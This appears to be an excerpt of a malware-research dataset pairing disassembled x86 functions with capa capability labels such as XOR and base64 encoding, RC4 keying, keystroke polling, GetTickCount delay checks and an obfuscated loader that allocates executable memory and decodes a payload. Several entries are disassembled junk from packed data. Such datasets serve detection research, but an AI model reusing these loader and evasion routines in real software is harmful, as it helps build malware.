joyce8/EMBER2024-capa huggingface dataset:
Function at 0x61c090
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x94
mov eax, dword [esp + 0x9c]
push esi
push 0x40
lea ecx, [esp + 0x1c]
xor esi, esi
push eax
push ecx
mov dword [esp + 0x24], 0x67452301
mov dword [esp + 0x28], 0xefcdab89
mov dword [esp + 0x2c], 0x98badcfe
mov dword [esp + 0x30], 0x10325476
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
call fcn.0061bea0
lea edx, [esp + 0x24]
lea eax, [esp + 0x10]
push edx
push eax
call fcn.0061bfd0
mov esi, dword [esp + 0xb0]
add esp, 0x14
xor edx, edx
mov cl, byte [esp + edx + 4]
mov al, cl
and cl, 0xf
sar al, 4
and al, 0xf
cmp al, 0xa
movsx eax, al
jge 0x61c10a
add eax, 0x30
jmp 0x61c10d
add eax, 0x57
mov byte [esi], al
cmp cl, 0xa
movsx eax, cl
jge 0x61c11c
add eax, 0x30
jmp 0x61c11f
add eax, 0x57
mov byte [esi + 1], al
inc edx
add esi, 2
cmp edx, 0x10
jl 0x61c0f0
pop esi
add esp, 0x94
ret

Function at 0x61c140
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x84
push ebx
mov ebx, dword [esp + 0x90]
push ebp
mov ebp, dword [esp + 0x90]
push esi
push edi
mov ecx, 0x10
xor eax, eax
mov edi, ebp
mov esi, dword [esp + 0xa0]
rep stosd dword es:[edi], eax
mov ecx, 8
mov edi, ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
test esi, esi
mov dword [esp + 0x14], 0x9d14e9a1
mov dword [esp + 0x18], 0x593b6b0e
je 0x61c1cb
mov edi, esi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x28
jne 0x61c1af
mov byte [esi + 0x20], al
mov ecx, 0x20
jmp 0x61c1b9
cmp ecx, 0x38
jle 0x61c1b9
mov ecx, 0x38
mov eax, ecx
lea edi, [esp + 0x1c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0xe8607c
test ecx, ecx
je 0x61c1ff
mov edi, ecx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x38
jle 0x61c1ea
mov ecx, 0x38
xor eax, eax
test ecx, ecx
jle 0x61c1ff
mov dl, byte [eax + 0xe8607c]
xor byte [esp + eax + 0x1c], dl
inc eax
cmp eax, ecx
jl 0x61c1f0
lea eax, [esp + 0x14]
push eax
push ebp
call fcn.0061c090
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.01d0a8e3
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + ebp]
sub edi, ecx
mov eax, ecx
mov dword [esp + 0x10], esi
mov esi, edi
mov edi, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, edx
cdq
and edx, 3
and ecx, 3
add eax, edx
rep movsb byte es:[edi], byte [esi]
sar eax, 2
xor ecx, ecx
test eax, eax
jle 0x61c264
mov esi, ebp
mov dl, byte [esi]
add esi, 4
mov byte [ecx + ebx], dl
inc ecx
cmp ecx, eax
jl 0x61c257
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x84
ret
Function at 0x61ce30
Capabilities:
Encode data using base64
Terminate process

Disassembly:
sub esp, 0x118
mov ecx, 0x3f
mov eax, 0x80808080
push ebx
push ebp
push esi
push edi
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x41
mov cl, al
sub cl, 0x41
mov byte [esp + eax + 0x28], cl
inc eax
cmp eax, 0x5a
jle 0x61ce52
mov eax, 0x61
mov dl, al
sub dl, 0x47
mov byte [esp + eax + 0x28], dl
inc eax
cmp eax, 0x7a
jle 0x61ce66
mov eax, 0x30
mov cl, al
add cl, 4
mov byte [esp + eax + 0x28], cl
inc eax
cmp eax, 0x39
jle 0x61ce7a
mov edi, dword [esp + 0x12c]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + 0x53], 0x3e
mov byte [esp + 0x57], 0x3f
mov byte [esp + 0x65], 0
mov dword [esp + 0x18], ebp
je 0x61d00d
mov ebx, dword [esp + 0x130]
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 4
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x12c]
xor eax, eax
lea esi, [edx + ecx]
movsx ecx, byte [esi + eax]
mov dl, byte [esp + ecx + 0x28]
test dl, 0x80
jne 0x61cfde
mov byte [esp + eax + 0x20], cl
mov byte [esp + eax + 0x1c], dl
inc eax
cmp eax, 4
jl 0x61cedc
mov esi, dword [esp + 0x138]
mov edx, dword [esp + 0x10]
cmp edx, dword [esi]
jle 0x61cf46
mov eax, dword [esp + 0x14]
push eax
call fcn.0064c5d7
mov ecx, dword [esi]
mov esi, ebx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
mov dword [esp + 0x2c], eax
rep movsb byte es:[edi], byte [esi]
call fcn.0064c4ee
mov ecx, dword [esp + 0x140]
mov eax, dword [esp + 0x18]
mov ebx, dword [esp + 0x2c]
add esp, 8
mov dword [ecx], eax
mov ecx, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov dl, ch
mov al, cl
sar dl, 4
shl al, 2
or dl, al
mov eax, dword [esp + 0x14]
mov byte [ebx + ebp], dl
inc ebp
inc eax
mov cl, ch
mov dword [esp + 0x14], eax
mov al, byte [esp + 0x1e]
mov dl, al
inc edi
sar dl, 2
shl cl, 4
or dl, cl
mov ecx, dword [esp + 0x14]
shl al, 6
or al, byte [esp + 0x1f]
mov byte [ebx + ebp], dl
inc ebp
mov edx, edi
inc ecx
inc edx
mov byte [ebx + ebp], al
mov al, byte [esp + 0x22]
inc ebp
inc ecx
inc edx
mov dword [esp + 0x10], edi
cmp al, 0x3d
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
je 0x61cff3
mov cl, byte [esp + 0x23]
xor eax, eax
cmp cl, 0x3d
setne al
add eax, 2
cmp eax, 3
jl 0x61cff3
mov edx, dword [esp + 0x18]
mov edi, dword [esp + 0x12c]
or ecx, 0xffffffff
xor eax, eax
add edx, 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], edx
cmp edx, ecx
jae 0x61d014
jmp 0x61cecc
push ecx
push str.Illegal_character__c_in_input._n
call fcn.0064e636
add esp, 8
push 1
call fcn.0064e307
mov eax, dword [esp + 0x134]
mov byte [ebx + ebp], 0
pop edi
pop esi
mov dword [eax], ebp
mov eax, ebx
pop ebp
pop ebx
add esp, 0x118
ret
mov ebx, dword [esp + 0x130]
mov ecx, dword [esp + 0x134]
mov byte [ebx + ebp], 0
pop edi
pop esi
mov dword [ecx], ebp
mov eax, ebx
pop ebp
pop ebx
add esp, 0x118
ret
Function at 0x626b20
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x626b69
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x626fe0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x66ff60
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00626b90
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00626c10
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00626c10
lea ecx, [esi + 0xc]
call fcn.0065e098
lea ecx, [esi + 0x10]
call fcn.0065e098
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.006281a0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.006281a0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.006281a0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0065e10d
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0065e10d
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x628390
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount_1]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x6283f6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep_1]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x6283f6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x6283d7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x62b340
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x100b3e0]
xor edx, edx
cmp eax, edx
jne 0x62b366
xor eax, eax
mov byte [eax + 0x100b2e0], al
inc eax
cmp eax, 0x100
jl 0x62b34e
mov dword [0x100b3e0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x100b2e0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x62b3f7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x62b3ca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x62b398
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x62b400
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x62b453
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x62b43a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x631e00
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x67035e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.00632720
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0xe86314
call fcn.0065de4e
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x631e93
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0065de4e
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x631e8c
push 0
mov ecx, eax
call fcn.00628f70
mov dword [esi + 0xc], eax
jmp 0x631e95
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x631e95
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x6604f0
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x660528
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0065e568
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA_1]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0065e540
jmp 0x660534
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x661ceb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x661d2d
call fcn.006680dd
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA_1]
cmp eax, edi
je 0x661d2d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource_1]
cmp eax, edi
jne 0x661d24
xor eax, eax
jmp 0x661d35
push eax
call dword [sym.imp.KERNEL32.dll_LockResource_1]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00661d3b
pop edi
pop esi
pop ebx
ret 4

Function at 0x66860d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection_1]
cmp dword [esp + 0x10], 0
jne 0x66863b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue_1]
test eax, eax
je 0x668659
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00668573
jmp 0x668659
mov eax, dword [esi + 0x14]
test eax, eax
je 0x668659
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00668573
test edi, edi
mov eax, edi
jne 0x668643
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection_1]
pop esi
pop ebx
ret 8
Function at 0x10039839
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10039848
pop dword [ebp - 0x48]
mov eax, 0x10039848
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xad3bec89
sub dword [ebp - 0x58], 0x5ee9a73e
mov dword [ebp - 0x54], 0x8c249781
sub dword [ebp - 0x54], 0x59f14b3c
mov dword [ebp - 0x50], 0x598cbbb6
sub dword [ebp - 0x50], 0xd407788
mov dword [ebp - 0x4c], 0x1ad754bd
add dword [ebp - 0x4c], 0xe528ab43
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x9532767f
add dword [ebp - 0x58], 0xdf3ff2d7
mov dword [ebp - 0x54], 0x9c06e308
add dword [ebp - 0x54], 0xa5657e6d
mov dword [ebp - 0x50], 0xfc77c46d
sub dword [ebp - 0x50], 0x99085801
mov dword [ebp - 0x4c], 0xdcc092f4
add dword [ebp - 0x4c], 0x233f6d0c
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x97c5e6d6
add eax, 0x783a294a
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3ec1e
push 0
call eax
mov ecx, 0x20135d1b
sub ecx, 0x2013162e
mov edi, eax
mov esi, 0xed339065
add esi, 0x22d3959b
add esi, dword [ebp - 0x48]
mov ebx, 0xfd82efd5
mov edx, dword [esi]
xor dword [ebp - 0x30], esi
xor edx, ebx
mov dword [edi], edx
add dword [ebp - 0x10], 0xf52c33c9
add edi, 4
add esi, 0xb2ed5485
sub esi, 0xb2ed5481
loop 0x1003995a
add eax, 0x10e87
xor ebx, ebx
add ebx, eax
add eax, 0xc6176290
add eax, 0x39e89d75
mov ecx, 0x692c92a0
add ecx, 0xa6d36d60
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x1004413c
Capabilities:
Delete file

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0xc], 2
jne 0x10044161
cmp dword [esi + 0x20], 0
je 0x10044161
push dword [esi + 0x20]
call dword [sym.imp.kernel32.dll_DeleteFileW]
push dword [esi + 0x20]
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
and dword [esi + 0x20], 0
pop ecx
xor eax, eax
pop esi
ret
Function at 0x401166
Capabilities:
Encode data using xor

Disassembly:
push esi
push eax
push ebx
xor esi, esi
call dword [0x475488]
cmp word [ebx], si
je 0x4011ad
mov edx, ebx
push ebp
xor eax, eax
cmp word [edi], ax
je 0x40119f
mov ecx, edi
lea esp, [esp]
mov ebp, esi
imul ebp, eax
add bp, word [ecx + 2]
add eax, 1
xor word [edx], bp
cmp word [edi + eax*2], 0
lea ecx, [edi + eax*2]
jne 0x401186
add esi, 1
cmp word [ebx + esi*2], 0
lea edx, [ebx + esi*2]
jne 0x401179
pop ebp
pop esi
ret

Function at 0x44b810
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x12
mov dword [esi], 0
call edi
test ax, ax
push 0x10
setne bl
call edi
test ax, ax
jge 0x44b83c
or dword [esi], 0x2000000
push 0x11
call edi
test ax, ax
jge 0x44b84b
or dword [esi], 0x4000000
push 0
call dword [sym.imp.COMCTL32.dll_ImageList_Destroy]
mov eax, dword [0x65bd8c]
push eax
call sub.IMM32.dll_ImmGetContext
test bl, bl
mov dword [0x65bd8c], eax
je 0x44b86d
or dword [esi], 0x657620
mov eax, esi
pop edi
pop esi
pop ebx
ret

Function at 0x465046
Capabilities:
Check for vm using instruction vpcext

Disassembly:
pop ecx
invalid
inc ebp
fild word [edx - 0x2d]
inc ecx
in al, dx
adc byte [edx - 0x2a8777e], bl
int 3
xchg dword [ebx - 0x4f], esp
or dh, byte [edi + 0x666bb2db]
cli
cmpsb byte [esi], byte es:[edi]
xchg ebp, eax
jmp 0x464fe6
sub dword [edx + 0x713f7c3], esi
jns 0x46507c
invalid
xor eax, 0x65beb147
bnd jno 0x465067
inc edi
mov cl, 0xbe
bnd jno 0x465067
xor ebx, dword [ebx - 0x71]
fadd st(2)
out 0xd3, al
mov dl, 0xdc
sub edi, dword [ebx]
xchg ecx, eax
add ebx, dword [esi - 0x2c42bd7b]
mov esp, 0xd28967f5
jecxz 0x464ff8
cmp byte [ebx - 0x14], ch
aad 0xa4
mov ch, 0x53
dec ebx
and dword [edi - 0x1bcdca75], esi
rol byte [ecx - 0x4d], 1
xchg ebx, esi
dec ebp
sbb eax, 0xcd44ce24
xchg esp, eax
pop edi
sbb eax, 0xf4c915aa
push edi
movsd dword es:[edi], dword [esi]
jns 0x46503f
fucomi st(2)
in al, dx
cld
fstp xword [0x58a80f06]
and edi, ebp
sbb al, 0x75
and ch, 0x86
invalid
Function at 0x46f2f6
Capabilities:
Encode data using xor

Disassembly:
dec edx
xchg dword [ebx + 0x4ff638cf], edx
in eax, dx
in eax, 0x52
xchg ebx, eax
cmp al, 0xb9
adc esp, dword [ecx - 0x1c9e35ab]
xchg edi, eax
ror byte [esi - 0x2d], 1
sbb byte [ebp + 0x63], al
xor eax, 0x10fea85c
inc esi
outsd dx, dword [esi]
adc edx, dword [eax - 0x19]
mov edi, 0x88cbad42
mov byte [0x70284ae1], al
push ebx
retf
push ebx
mov dh, 0xa6
inc ecx
push ebx
sub al, 0xc9
in eax, dx
mov byte [0xab5e1293], al
xor dword [eax + ebx*8 + 0x2e], esp
sub dword [edi - 0x62a2b40], ebx
inc byte [edx + 0x62649266]
add eax, 0xe05ee272
push ebp
sub byte [edi], ah
in al, 0x1e
dec dword [eax]
or dl, byte [eax]
and ebx, ebp
enter 0xa82, 0x2c
loope 0x46f325
test dword [edx + 0x79], esp
test eax, 0x4b952254
dec esp
push esp
push esp
xlatb
add al, 0xb0
cmp dl, ch
push ebp
or cl, byte [edi + ebx*4]
mov al, byte [0x39b43b82]
arpl sp, dx
fnstsw word [edx + esi*8]
xor eax, 0x83adb16c
cmc
jae 0x46f3e1
jne 0x46f31d
lahf
xor dword [esi + 0x6b], 0x60917c0e
in al, 0xcc
sbb eax, 0x8efbfaf3
jl 0x46f376
aam 9
loope 0x46f3d3
invalid
mov dword [0x387305a9], eax
adc eax, 0x11e7337e
jle 0x46f3f5
out 0x11, eax
xor al, 0x1e
pop edx
sbb ch, al
pop ecx
or ah, al
pop ds
pop edx
inc edi
adc eax, 0x738b2331
and eax, 0xf997e378
jae 0x46f3fa
js 0x46f3ba
xchg edi, eax
stc
or eax, edi
fisttp word [ebx - 0x1dc3d92c]
pop ecx
loop 0x46f43c
or cl, ch
push esp
xor byte [edx + 0x70], cl
jecxz 0x46f3c0
lds esp, [edi]
jae 0x46f3c4
inc ecx
pop edx
out 0xa, eax
xor al, 0xca
xor eax, 0x8a054de2
stosd dword es:[edi], eax
std
scasb al, byte es:[edi]
pop esi
retf 0xe235
mov ch, byte [ebx + 0x5e64aefd]
retf
jbe 0x46f473
or byte [edx], dl
push es
mov bh, 0x7a
inc dword [ecx + 0x36c66339]
lea ebp, [0xf588fdb3]
push ecx
xor byte [eax + edx*4], 0xb5
scasb al, byte es:[edi]
inc edx
mov ebx, 0xaa6cda67
invalid
stosb byte es:[edi], al
push esp
xlatb
mov ebp, 0xf37d0e64
pop edx
mov bl, 0x23
dec esi
sub al, 0xed
mov ah, 0xb1
mov al, byte [0xfbe11435]
dec esi
aad 0x16
pushfd
nop
js 0x46f40e
shr dword [ecx - 9], cl
dec edx
adc dword [ebp - 0xb9eea58], 0xdf12f528
shl dword [edi + 0x65], 1
inc edx
and eax, 0xf5ea22f5
invalid
xor dh, byte [ebx]
movsd dword es:[edi], dword [esi]
dec esi
and ecx, dword [edi + ebp + 0x4b9cb4ce]
mov edx, 0x3133975d
jb 0x46f419
je 0x46f42c
aas
stc
fiadd word [ebx - 0xa1b9a93]
inc ebp
xor eax, dword [ecx + 0x25a429de]
retf
Function at 0x4722b6
Capabilities:
Encode data using xor

Disassembly:
mov al, byte [0x91a5871f]
loope 0x472235
xor eax, 0x39e515f1
invalid
aas
popfd
xor dword [ecx - 0x45], 0xee431a7b
out dx, al
aad 0xac
add byte [esi - 0x10], 0x19
add edi, ebx
push ebp
jb 0x4721bb
lcall 0x53d3, 0x270311f3
invalid
add esp, dword [edi]
rcl dword [ebx - 0x71], cl
push ecx
scasd eax, dword es:[edi]
cmp dword [ebp - 0x5e], edi
add al, 0xe4
and byte gs:[ebx - 1], al
in al, 0x65
and byte [ebx - 1], al
and dh, byte [ebp - 0x7bdf397a]
xchg edx, eax
or dword [ebp - 0xb4c1afd], esp
sbb byte [edx], 0x44
scasb al, byte es:[edi]
jno 0x47221e
push edx
cmpsd dword [esi], dword es:[edi]
xchg ecx, eax
xchg edx, eax
mov eax, dword [0x72146c0c]
xchg esp, eax
push edx
salc
adc ebp, dword [edx]
push ecx
movsd dword es:[edi], dword [esi]
xchg edi, eax
retf
invalid
cmp byte [ecx + 0x5ece182b], ah
jne 0x472240
xor al, 0x53
test al, 0x80
xchg esi, eax
loopne 0x4722a3
sbb dword [eax + eax*4 + 0x44], esi
lea ebx, ds:[esi]
lea ebx, [esi]
jmp 0x4722ca

Function at 0x488747
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x2a66e1e0
sbb edi, edx
xlatb
or eax, 0xade4b324
or edx, dword [ecx - 0x3d]
sbb byte [edx + ebx*4 + 0x35c1d735], cl
push ds
pop es
dec ecx
pop ebp
mov cl, 0xfc
cld
sub eax, 0x58d6b1cf
in eax, 5
out 0x53, al
mov bl, 0x21
in eax, dx
fsub st(3)
xor eax, ebp
xor dword [ecx], ebp
cmp bh, byte [edx - 0x2a4f98b5]
add dword [esi], ebx
inc edx
loop 0x4887c6
mov bl, 0xa1
xchg edi, eax
sub dl, byte [0xf3abc2fb]
adc byte [ebx + 0x2d35e6ce], ah
adc edx, dword [edi + edx*2]
into
out 0x35, al
sub eax, 0x571413f3
loop 0x488740
sal esi, 3
loopne 0x488786
jae 0x48875c
aam 0x91
movsb byte es:[edi], byte [esi]
inc ecx
loope 0x488762
cmc
mov ah, 0x8f
jae 0x488745
cmp dword [esi + 0x68], 0xf8fb6c14
fist dword [eax + 0x200a2044]
pop es
pop ebx
invalid
popfd
inc ebx
test bl, 1
aaa
jbe 0x4887d6
call [eax + 0x44cceaec]
mov al, byte [0x7ad6cad1]
outsb dx, byte ss:[esi]
dec ecx
retf 0x7ad6
dec ecx
and bl, byte [edx - 0x5e]
xor al, 0xf3
pop ecx
jecxz 0x4887dc
sal dword [ebx + eax*2], cl
loope 0x48881d
iretd
dec ebx
sbb esp, dword [edx]
and dl, byte [edx - 0x78b10b4]
xchg edx, eax
dec esp
out dx, eax
je 0x48881a
outsb dx, byte [esi]
je 0x48881c
iretd

Function at 0x51320b
Capabilities:
Encode data using base64

Disassembly:
je 0x513227
scasb al, byte es:[edi]
fucomp st(7)
movsd dword es:[edi], dword [esi]
std
popal
and dword [eax + 0x40], eax
jns 0x51324c
push esp
add ah, byte [esp + eax]
pop edx
and dword es:[ebx], eax
je 0x5131be
not bh
rol dword [esi - 0xb9aea07], cl
jl 0x5131ac
hlt
invalid
Function at 0x52b610
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
cmp word [edi], ax
je 0x52b5d0
mov ecx, edi
lea esp, [esp]
mov ebp, esi
imul ebp, eax
add bp, word [ecx + 2]
add eax, 1
xor word [edx], bp
cmp word [edi + eax*2], 0
lea ecx, [edi + eax*2]
jne 0x52b5b7
add esi, 1
cmp word [ebx + esi*2], 0
jae 0x52b5d8
lea edx, [ebx + esi*2]
jne 0x52b5aa
pop ebp
pop esi
ret
nop
nop
nop
nop
push esp
comiss xmm1, dword [0xf022684c]
push ebp
out dx, eax
jecxz 0x52b5d6
jnp 0x52b60c
nop
stosb byte es:[edi], al
mov cl, bl
aaa
add eax, 0x594218f5
mov esi, esi
test byte [esi], ch
push ds
push ds
sbb ebp, eax
insd dword es:[edi], dx
or eax, 0x582b66be
dec ebp
sub eax, 0x2c108a76
das
call 0xc0445fca
or al, 0x81
call fcn.00555cbb
xchg dword es:[eax + 0x26], esp
sbb edi, esp
cmc
outsd dx, dword [esi]
rol byte [0x59f2e4ed], 0x12
clc
pop ecx
adc bh, al
insd dword es:[edi], dx
popal
daa
rcr dword [eax - 0x56], cl
mov cl, byte [ebp + 0x492a46c0]
jge 0x52b68a
fsin
pop esi
daa
pop edx
mov eax, 0xfd819be5
ret 0xd5e7
adc dword [edi + ebp*2], ebp
out dx, eax
adc dword [ebx - 2], ecx
jnp 0x52b656
mov gs, word [0xe2dfa1c]
mov ch, byte [ebx + 0x6f]
ljmp 0x920e

Function at 0x54eb16
Capabilities:
Encode data using xor

Disassembly:
cmpsd dword [esi], dword es:[edi]
jp 0x54eb7a
push ebx
push 0x7426e7e2
je 0x54eb41
sbb al, 0xc8
je 0x54eb41
sbb al, 0xc8
sbb ecx, ebx
sbb al, 0x2f
sbb dh, dl
mul dword [edx + 7]
out dx, al
xchg ebx, eax
push esp
sub dh, byte [edi - 0x42]
xor esp, edi
or ebx, esi
jbe 0x54eb18
inc edi
push cs
cmp cl, byte [esi]
cmp al, 0x6e
mov esi, 0xa671c1dd
dec edi
test dh, ah
mov dl, 0x76
jecxz 0x54eb31
jbe 0x54eb26
in eax, dx
pop ebx
cdq
fiadd dword [edi + eax*2 - 0x2f]
xchg byte [ebx + 0x5d2f15c4], dl
inc edi
rol dword [esi + 0x2f15c493], 1
pop ebp
add byte [edi + esi*4 - 0x2252f0a], ch
add eax, 0xb40fb22d
fist word [esi]
jne 0x54eb48
xchg ebx, eax
leave
cli
dec esi
dec ecx
out dx, al
jg 0x54eb0e
adc eax, 0x9c680fc4
clc
push edx
mov gs, ebx
pop ebp
jecxz 0x54eb81
sal dword [edx + ecx*8], 1
pop edi
sahf
movsb byte es:[edi], byte [esi]
